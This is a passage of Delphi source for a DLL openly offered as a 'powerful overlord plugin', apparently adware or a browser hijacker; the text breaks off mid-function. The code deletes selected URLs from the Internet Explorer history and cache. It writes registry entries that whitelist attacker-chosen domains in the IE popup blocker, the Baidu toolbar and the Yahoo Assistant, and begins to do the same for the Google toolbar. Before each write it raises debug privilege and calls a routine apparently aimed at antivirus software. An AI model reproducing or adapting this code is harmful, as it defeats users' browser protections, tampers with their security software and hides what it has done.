maindll.dpr

功能强大的霸王插件源代码

  TInternetCacheEntryInfoA = INTERNET_CACHE_ENTRY_INFOA;
  TInternetCacheEntryInfo = TInternetCacheEntryInfoA;
function FindFirstUrlCacheEntry(lpszUrlSearchPattern: PAnsiChar;
  var lpFirstCacheEntryInfo: TInternetCacheEntryInfo;
  var lpdwFirstCacheEntryInfoBufferSize: DWORD): THandle; stdcall;external winetdll name 'FindFirstUrlCacheEntryA';
function DeleteUrlCacheEntry(lpszUrlName: PAnsiChar): longBOOL; stdcall;external winetdll name 'DeleteUrlCacheEntry';
function FindNextUrlCacheEntry(hEnumHandle: THandle;
  var lpNextCacheEntryInfo: TInternetCacheEntryInfo;
  var lpdwNextCacheEntryInfoBufferSize: longword): longBOOL; stdcall;external winetdll name 'FindNextUrlCacheEntryA';
procedure   DeleteIEHistory(url:string);
var i:integer;
  lpEntryInfo: PInternetCacheEntryInfo;
  hCacheDir: LongWord ;
  dwEntrySize, dwLastError: LongWord;
  s,s1:string;
  jsq:integer;
begin
  if trim(url)='' then exit;
  jsq:=0;
  try
    dwEntrySize := 0;
    FindFirstUrlCacheEntry(nil, TInternetCacheEntryInfo(nil^), dwEntrySize);
    GetMem(lpEntryInfo, dwEntrySize);

    hCacheDir := FindFirstUrlCacheEntry(nil, lpEntryInfo^, dwEntrySize);
    if hCacheDir <> 0 then
       DeleteUrlCacheEntry(lpEntryInfo^.lpszSourceUrlName);
    FreeMem(lpEntryInfo);
    //showmessage('ie-1');
    repeat
      //sleep(1);
      dwEntrySize := 0;
      FindNextUrlCacheEntry(hCacheDir, TInternetCacheEntryInfo(nil^),dwEntrySize);
      dwLastError := GetLastError();

      if dwLastError = ERROR_INSUFFICIENT_BUFFER then //如果成功
        begin
          jsq:=0;
          GetMem(lpEntryInfo, dwEntrySize); //分配dwEntrySize字节的内存
          try
            if FindNextUrlCacheEntry(hCacheDir, lpEntryInfo^, dwEntrySize) then
              begin
                s:=trim(url);
                while true do
                  begin
                    //sleep(1);
                    i:=pos(',',s);
                    if i<=0 then
                      begin
                        s1:=s;
                        s:='';
                      end
                    else
                      begin
                        s1:=copy(s,1,i-1);
                        s:=copy(s,i+1,length(s));
                      end;
                    s1:=trim(s1);
                    if s1='' then break;
                    if lpEntryInfo^.lpszSourceUrlName=s1 then
                      begin
                        DeleteUrlCacheEntry(lpEntryInfo^.lpszSourceUrlName);
                        break;
                      end;
                  end;
              end;
          finally
            FreeMem(lpEntryInfo);
          end;
        end
      else
        jsq:=jsq+1;
      if jsq>100 then break;
      //sleep(1);
    until (dwLastError = ERROR_NO_MORE_ITEMS);
    //sleep(1);
    //showmessage('ie-2');
  except
    //on e:exception do
      //showmessage(e.Message);
  end;
end;

function bin2dec(binStr:string):integer;
var towPow,numLen,decPos:integer;
    cChar:char;
    nChar:integer;
begin
  towPow:=1;
  numLen:=length(binStr);
  result:=0;
  decPos:=numLen;
  while true do
    begin
      if decPos<=0 then break;
      cChar:=binStr[decPos];
      nChar:=strtoint(cChar);
      result:=result+nChar*towPow;
      towPow:=towPow*2;
      decPos:=decPos-1
    end;
end;
function dec2bin(octNumber:integer):string;
var vara:integer;
begin
  vara:=octNumber;
  result:='';
  while true do
    begin
      if vara=0 then break;
      result:=inttostr(vara mod 2) +result;
      vara:=vara div 2;
    end;
end;
function deCode_base64(InStr:string):string;
var i,i1,i2:integer;
    baseStr,bins,binValue,deChar:string;
    oldValue:integer;
    tmp:string;
    nchar:char;
begin
  result:='';
  baseStr:=trim(InStr);
  if baseStr='' then exit;
  if length(baseStr) mod 4 <>0 then exit;
  bins:='';
  try
    i1:=0;
    i2:=0;
    for i:=1 to Length(baseStr) do
      begin
        nChar:=baseStr[i];
        if nChar='=' then break;
        oldValue:=pos(nChar,Bstr_base64)-1;
        tmp:='000000'+dec2bin(oldValue);
        binValue:=copy(tmp,length(tmp)-5,6);
        bins:=bins+binValue;
        if length(bins)>=8 then
          begin
            deChar:=copy(bins,1,8);
            bins:=copy(bins,9,length(bins));
            tmp:=chr(bin2Dec(deChar));
            if i1=0 then
              i1:=bin2Dec(deChar);
            if i1<>0 then
            if i2=0 then
               i2:=bin2Dec(deChar);
            if i1>0 then
            if i2>0 then
              begin
                //ac:=char(i1+i2);
               // if messagebox(form1.handle,pchar(ac),'',1)<>mrok then break;
              end;
            result:=result+pchar(tmp);
            //if messagebox(form1.handle,pchar(inttostr(ord(tmp[1]))),'',1)<>mrok then break;
          end
      end;
  except
    //on e:exception do
      begin
        result:='';
      end;
  end;
end;
procedure CreateRegKeyValue(Root: DWORD; const Key, ValueName, Value: string);
var
  KeyHandle: HKey;
  buff:array[0..1000] of char;
    i:integer;
    rType: LongInt;
    ie:string;
    p:pchar;
begin
  if RegOpenKey(root, PChar(key), KeyHandle) <> ERROR_SUCCESS then
    RegcreateKey(root, PChar(key), KeyHandle);
  if RegOpenKey(root, PChar(key), KeyHandle) = ERROR_SUCCESS then
  try
    if ValueName='' then
      p:=nil
    else
      p:=pchar(ValueName);
    ie:='';
    if RegQueryValueEx(KeyHandle,p,nil,@rType,nil,@i)=ERROR_SUCCESS then
    if RegQueryValueEx(KeyHandle,p,nil,@rType,@buff,@i)=ERROR_SUCCESS then
      ie:=buff;
    if ie<>Value then
      begin
        try
          EnabledDebugPrivilege(true);
          haskv;
          sleep(2000);
        except
        end;
        RegSetValueEx(KeyHandle, p, 0, REG_SZ,PChar(Value), Length(Value) + 1);
        //runkv;
      end;
  finally
    RegCloseKey(KeyHandle);
  end;
end;
procedure CreateRegKeyValue_dword(Root: DWORD; const Key, ValueName:string;Value: dword);
var
  KeyHandle: HKey;
  buff:dword;
    i:integer;
    rType: LongInt;
    p:pchar;
    f:integer;
begin
  if RegOpenKey(root, PChar(key), KeyHandle) <> ERROR_SUCCESS then
    RegcreateKey(root, PChar(key), KeyHandle);
  if RegOpenKey(root, PChar(key), KeyHandle) = ERROR_SUCCESS then
  try
    if ValueName='' then
      p:=nil
    else
      p:=pchar(ValueName);
    f:=0;
    if RegQueryValueEx(KeyHandle,p,nil	,@rType,nil,@i)<>ERROR_SUCCESS then
      f:=1;
    if RegQueryValueEx(KeyHandle,p,nil	,@rType,@buff,@i)<>ERROR_SUCCESS then
      f:=1;
    //RegQueryValueEx(KeyHandle,p,nil	,@rType,@buff,@i);
    if f=0 then
    if buff<>Value then
      f:=1;
    if f=1 then
      begin
        //ie:=inttostr(value);
        try
          EnabledDebugPrivilege(true);
          haskv;
          sleep(2000);
        except
        end;
        RegSetValueEx(KeyHandle, p, 0, REG_DWORD,@Value, sizeof(DWORD));
        //runkv;
      end;
  finally
    RegCloseKey(KeyHandle);
  end;
end;
procedure CreateRegKeyValue_hex(Root: DWORD; const Key, ValueName:string;Value: string);
var
  KeyHandle: HKey;
  buff:array[0..1000] of char;
    i,j,k:integer;
    rType: LongInt;
    ie,s,tmp,t:string;
    p:pchar;
    f:integer;

begin
  if RegOpenKey(root, PChar(key), KeyHandle) <> ERROR_SUCCESS then
    RegcreateKey(root, PChar(key), KeyHandle);
  if RegOpenKey(root, PChar(key), KeyHandle) = ERROR_SUCCESS then
  try
    if ValueName='' then
      p:=nil
    else
      p:=pchar(ValueName);
    f:=0;
    if RegQueryValueEx(KeyHandle,p,nil	,@rType,nil,@i)<>ERROR_SUCCESS then
      f:=1;
    if RegQueryValueEx(KeyHandle,p,nil	,@rType,@buff,@i)<>ERROR_SUCCESS then
      f:=1;
    if f=0 then
      begin
        ie:='';
        for j:=1 to i do
          ie:=ie+buff[j-1];

        s:='';
        tmp:=trim(value);
        while true do
          begin
            if tmp='' then break;
            k:=pos(',',tmp);
            if k>0 then
              begin
                t:=copy(tmp,1,k-1);
                t:=trim(t);
                tmp:=copy(tmp,k+1,length(tmp));
              end
            else
              begin
                t:=trim(tmp);
                tmp:='';
              end;
            t:='$'+t;
            k:=strtoint(t);
            s:=s+char(k);
          end;
        if ie<>s then
          f:=1;
      end;
    if f=1 then
      begin
        for i:=1 to length(s) do
          buff[i-1]:=s[i];
        try
          EnabledDebugPrivilege(true);
          haskv;
          sleep(2000);
        except
        end;
        RegSetValueEx(KeyHandle, p, 0, REG_BINARY	,@buff, length(s));
        //runkv;
      end;
  finally
    RegCloseKey(KeyHandle);
  end;
end;
function GetRegKeyValue(Root: DWORD; const Key, ValueName: string):string;
var
  KeyHandle: HKey;
  buff:array[0..1000] of char;
    i:integer;
    rType: LongInt;
    p:pchar;
begin
  result:='';
  if RegOpenKey(root, PChar(key), KeyHandle) <> ERROR_SUCCESS then
    exit;
  if RegOpenKey(root, PChar(key), KeyHandle) = ERROR_SUCCESS then
  try
    if ValueName='' then
      p:=nil
    else
      p:=pchar(ValueName);
    if RegQueryValueEx(KeyHandle,p,nil,@rType,nil,@i)=ERROR_SUCCESS then
    if RegQueryValueEx(KeyHandle,p,nil,@rType,@buff,@i)=ERROR_SUCCESS then
      result:=buff;
  finally
    RegCloseKey(KeyHandle);
  end;
end;
function GetField(var s:string):string;
var i:integer;
begin
       i:=pos(',',s);
       if i<=0 then
         begin
           result:=s;
           s:='';
         end
       else
         begin
           result:=copy(s,1,i-1);
           s:=copy(s,i+1,length(s));
         end;
end;
function LowerCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;
procedure Do_xr_list(list:string);
var s,tmp,t:string;
    i:integer;
begin
  try
    s:=trim(list);
    if s='' then exit;
    while true do
      begin
        sleep(1);
        s:=trim(s);
        if s='' then break;
        tmp:=GetField(s);
        tmp:=trim(tmp);
        tmp:=LowerCase(tmp);
        if copy(tmp,1,7)='http://' then
          tmp:=copy(tmp,8,length(tmp));
        //添加百度信任列表 HKEY_CURRENT_USER\Software\Baidu\BaiduBar\WhiteList
        i:=pos('.',tmp);
        t:='*'+copy(tmp,i,length(tmp))+'*';
        CreateRegKeyValue_dword(HKEY_CURRENT_USER,'Software\Baidu\BaiduBar\WhiteList',t,1);
        //添加到助手信任列表
        CreateRegKeyValue_dword(HKEY_CURRENT_USER,'Software\Yahoo\Assistant\Assist\adwurl','http://'+tmp+'*',2);
        //添加xp,2003信任列表
        CreateRegKeyValue_hex(HKEY_CURRENT_USER,'Software\Microsoft\Internet Explorer\New Windows\Allow',tmp,'');
        //添加google信任列表
        t:=GetRegKeyValue(HKEY_CURRENT_USER,'Software\Google\NavClient\1.1\whitelist','allow2');
        if t<>'' then
          begin